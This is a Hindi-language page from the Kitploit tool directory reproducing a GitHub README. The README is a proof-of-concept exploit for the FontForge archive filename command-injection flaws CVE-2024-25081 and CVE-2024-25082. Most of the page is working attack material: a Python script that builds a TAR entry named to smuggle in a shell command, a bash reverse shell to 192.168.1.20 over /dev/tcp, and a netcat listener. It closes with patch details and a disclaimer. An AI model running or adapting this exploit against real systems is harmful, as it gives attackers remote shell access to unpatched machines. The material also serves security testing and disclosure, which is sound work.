Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-25082_CVE-2024-25081 — FontForge Splinefont निर्मित फ़ाइल नाम कमांड इंजेक्शन भेद्यता | Kitploit
उपकरण/GitHubGitHub/alielkhatteb/cve-2024-25082_cve-2024-25081
पेलोड जनरेशनभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षा
GitHubalielkhatteb/cve-2024-25082_cve-2024-25081

CVE-2024-25082_CVE-2024-25081

FontForge Splinefont निर्मित फ़ाइल नाम कमांड इंजेक्शन भेद्यता

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
1137 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

⚠️ FontForge RCE — CVE-2024-25081 और CVE-2024-25082 - PoC

📖 अवलोकन

दो कमांड इंजेक्शन कमजोरियों के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट FontForge ≤ 20230101 (Splinefont घटक) में।

CVEवेक्टरट्रिगर
CVE-2024-25081निर्मित फ़ाइलनामसीधा फ़ाइल खोलना
CVE-2024-25082निर्मित आर्काइव फ़ाइलनामTAR/ZIP/GZ/BZ2 निष्कर्षण

यह PoC CVE-2024-25082 को लक्षित करता है — FontForge का स्वचालित आर्काइव निष्कर्षण बिना सैनिटाइज़ेशन के फ़ाइलनामों को शेल में पास करता है, जिससे TAR प्रविष्टि नाम में एम्बेडेड एक सेमीकोलन-विभाजित पेलोड मनमाने कमांड निष्पादित कर सकता है।


यह कैसे काम करता है

FontForge आर्काइव से सीधे फ़ॉन्ट फ़ाइलें खोलने का समर्थन करता है। TAR आर्काइव निकालते समय, Splinefont घटक आर्काइव प्रविष्टि से फ़ाइलनाम का उपयोग करके एक शेल कमांड बनाता है। चूंकि फ़ाइलनाम सैनिटाइज़ नहीं किया गया है, प्रविष्टि नाम में एक सेमीकोलन (;) अपेक्षित कमांड से बाहर निकल जाता है और मनमाने शेल निर्देश इंजेक्ट करता है।

दुर्भावनापूर्ण TAR प्रविष्टि नाम:

exploit.ttf;bash /tmp/s.sh;

जब FontForge इस आर्काइव को संसाधित करता है, तो शेल इसे इस प्रकार समझता है:

<extract command> exploit.ttf ; bash /tmp/s.sh ; 

पर्यावरण

  • कमजोर सॉफ्टवेयर: FontForge ≤ 20230101
  • प्लेटफ़ॉर्म: Linux
  • हमलावर लिसनर: 192.168.1.20:4444 (आवश्यकतानुसार समायोजित करें)

📋 पूर्वापेक्षाएँ

  • Python 3 (केवल मानक लाइब्रेरी, tarfile मॉड्यूल)
  • हमलावर मशीन पर netcat
  • लक्ष्य मशीन पर FontForge ≤ 20230101

🛠️ प्रूफ ऑफ कॉन्सेप्ट

1. अपनी हमलावर मशीन पर netcat लिसनर शुरू करें

nc -lvnp 4444

2. दुर्भावनापूर्ण TAR आर्काइव जनरेट करें

# रिवर्स शेल पेलोड लिखें
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh

# दुर्भावनापूर्ण आर्काइव बनाएँ
python3 << 'EOF'
import tarfile, io

malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF

3. लक्ष्य पर FontForge में आर्काइव खोलें

fontforge exploit.tar

एक रिवर्स शेल आपके लिसनर से वापस जुड़ जाएगा।


🔒 पैच

FontForge post-20230101 में PR #5367 के माध्यम से ठीक किया गया। नवीनतम रिलीज़ में अपग्रेड करें।

  • Debian/Ubuntu: sudo apt upgrade fontforge
  • मैन्युअल बिल्ड: fontforge/fontforge से नवीनतम लें

🔍 संदर्भ

  • NVD — CVE-2024-25081
  • NVD — CVE-2024-25082
  • FontForge fix PR #5367

⚖️ अस्वीकरण और शर्तें

यह प्रूफ ऑफ कॉन्सेप्ट (PoC) कोड केवल शैक्षिक और अधिकृत पैनेट्रेशन टेस्टिंग उद्देश्यों के लिए प्रदान किया गया है।

  • इस कोड को संशोधित, पुनर्वितरित या किसी अन्य उद्देश्य के लिए उपयोग करने की कोई अनुमति नहीं दी गई है।
  • अनधिकृत उपयोग या संशोधन अवैध और अनैतिक हो सकता है।
  • लेखक किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेते हैं।
टूल डाउनलोड करें